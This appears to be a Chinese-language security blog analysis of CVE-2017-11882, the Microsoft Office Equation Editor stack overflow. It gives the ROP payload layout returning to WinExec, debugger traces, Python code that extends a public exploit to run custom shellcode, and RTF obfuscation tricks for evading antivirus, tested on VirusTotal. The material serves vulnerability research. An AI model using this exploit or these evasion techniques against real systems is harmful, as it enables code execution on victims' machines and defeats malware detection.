CVE-2017-11882分析

CVE-2017-11882分析

漏洞简述

  • 漏洞成因：该漏洞出现在office的模块EQNEDT32.EXE中, 该模块为windows的公式编辑器, 使用OLE技术(对象链接与嵌入)将公式嵌入在office文档内。当公式编辑器EQNEDT32.EXE读入包含MathType的OLE数据，在拷贝公式字体名称时没有对名称长度进行校验，使得攻击者可以使用ROP调用模块内的WinExec函数执行任意指令。

  • 影响版本：Microsoft Office 2007 Service Pack 3，Microsoft Office 2010 Service Pack 2，Microsoft Office 2013 Service Pack 1， Microsoft Office 2016

  • POC：https://github.com/Ridter/CVE-2017-11882

  • 实验环境：Windows 7 Ultimate Service Pack 1；Microsoft Office 2010

漏洞分析及利用

漏洞存在位于0x41160F的sub_41160F函数。

可以看到这里再读入公式的Font Name数据时，将Name拷贝到一个函数内局部变量时使用了strcpy函数，strcpy没有进行原始数据长度的检测：

所以这里的传入参数raw的内容构造如下：

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patch(0x2C byte，参数raw长度+ebp长度)+ret_addr(0x4 byte，返回地址，这里使用模块内存在的WinExec的地址)+paramater(WinExec参数地址，即执行的指令，这里使用了raw参数地址，方便构造)

调试EXP

将程序断在存在漏洞的strcpy函数。这里strcpy函数主要时将数据从esi指向的内存位置复制到edi指向的内存位置，所以调试时追踪这两个寄存器指向的内容即可。

初始esi：0x0018F350；

初始edi：0x0018F1A4；

复制完成后edi指向的栈空间：

可以看到0x0018F1A4至0x0018F1CC的是paylaod的填充部分，这里为了方便后面函数调用，将刚开始一段存放了WinExec的参数，返回地址已经被覆盖成了0x00430C12，即函数WinExec的地址，再往后是WinExec的参数地址0x0018F350，也就是payload开始部分的参数。

进一步走，将函数返回，可以看到函数返回到了WinExec，而WinExec的参数即为自定义的指令：

进一步走利用成功：

改进EXP

由于exp中只进行了简单的ROP到WinExec，所以无法运行自定义shellcode，这里改进exp，加了-s参数作为自定义shellcode的选项。

其实只要填充返回地址到ret指令上，这样两次ret就可以跳转到输入的内容上执行指令了，这里我用的是程序里的ret：0x00403223。

实现的关键代码如下：

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# shellcode should be machine code and less than 44 bytes
def set_shellcode(hex_shellcode):
    objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n")
    ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_shellcode.ljust(88,"4") + "23324000" + objdata_hex_stream[COMMAND_OFFSET + 88 + 8:]
    return OBJECT_HEADER + ole_data + OBJECT_TRAILER

def create_shellcode_rtf(header,shellcode,trailer):
    ole1 = set_shellcode(shellcode)
    return header + ole1 + trailer

这里由于字节长度收到限制，所以只能执行任意小于等于44 bytes的机器码。

测试Demo结果如下：

这里测试的机器码为ff 25 1C 68 46 00，即jmp 0x0046681C：

  1. 生成POC：

  1. 打开文档，运行调试到ret：

可以看到栈顶是0x0018F350，即存放FONT[name]的地方。

  1. 再走一步到shellcode：

这个就是实现执行任意shellcode的思路，具体要实现较长的shellcode，可以使用@unamer的使用跳板shellcode的思路。

修改模板

这里的修改RTF模板比较简单，参考@Ridter的思路，将RTF头换成自己的即可,这里我换成自己生成的rtf文档中的RTF_HEADER测试。

关键代码修改：

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# My template
RTF_HEADER_MY = R"""{\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}
{\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@\'cb\'ce\'cc\'e5;}
{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}
{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}
{\fhiminor\f31506\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\fbiminor\f31507\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f39\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\f40\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\f42\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f43\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f44\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\f45\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f46\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f47\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}
{\f171\fbidi \fnil\fcharset0\fprq2 SimSun Western{\*\falt SimSun};}{\f171\fbidi \fnil\fcharset0\fprq2 SimSun Western{\*\falt SimSun};}{\f409\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\f410\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}
{\f412\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\f413\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}{\f416\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\f417\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}
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{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}
{\fdbmajor\f31520\fbidi \fnil\fcharset0\fprq2 SimSun Western{\*\falt SimSun};}{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;}{\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}
{\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;}{\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}
{\fhimajor\f31536\fbidi \froman\fcharset163\fprq2 Cambria (Vietnamese);}{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}
{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}
{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}
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{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbminor\f31560\fbidi \fnil\fcharset0\fprq2 SimSun Western{\*\falt SimSun};}
{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}
{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\fhiminor\f31576\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}
{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}
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args = parser.parse_args()
    if args.input != None:
        r_header = getrheader(args.input)
    else:
        r_header = RTF_HEADER_MY    # design your template here

测试结果：

  1. 生成POC：

  1. POC模板内容：

  1. 漏洞利用成功：

有关POC的免杀

RTF混淆

这里的主要探究的是逃避基于特征值的杀软检测，主要用到的技术是Rtf的文件混淆。

  1. 文件头混淆

一般的RTF_HEADER为：

1
{\rtf

而实际上，解析器只需要是被前四个字节”{\rt”，所以可以通过再次基础上进行一些混淆，如将RTF头改成如下一些形式：

1
2
{\rtÈÐÏ
{\rt{{{\{\info{\authorismail-
  • 测试结果：

样例：

利用成功，执行指令打开记事本：

  1. 无用字符混淆

RTF文件内部对换行符，空格和不可见字符是不识别的，可以加这些字符进行混淆。

  • 测试结果：

样例：

利用成功：

  1. 组多重嵌套

rtf中的组可以循环嵌套：

1
{{}{}{}{}ddd{}ddd}

解析器在解析的时候会跳过无用的组和控制符。

  • 测试结果

样例：

利用成功：

  1. 还有其他一些混淆方式，如大小写变换等，但是其实与上述的第二种没有本质区别，这里就不多做阐述了。

免杀结果测试

将使用上述的模板以及混淆生成的POC使用Virustotal检测结果大致如下：

仅仅能逃避少部分杀软检测，其实究其原因还是因为现在大部分的杀软使用了监测内存的方式来进行病毒的查杀，而要利用这个栈溢出的漏洞，就必定会触发栈溢出，进行返回地址的覆盖，只要在沙箱中运行时设置检测内存中是否存在栈溢出即可监控出大部分利用这种类型的漏洞的POC。

针对基于内存的监控的杀软免杀思路

其实既然可以控制程序流程，就可以在ROP的时候使用shellcode将杀软之类的关闭，但是大部分杀软在检测到有文件下载时候就会进行检测是否是病毒，所以这类简单的RTF文件类型的POC想要逃避杀软的基于内存监控的检测还是很困难的。

参考文章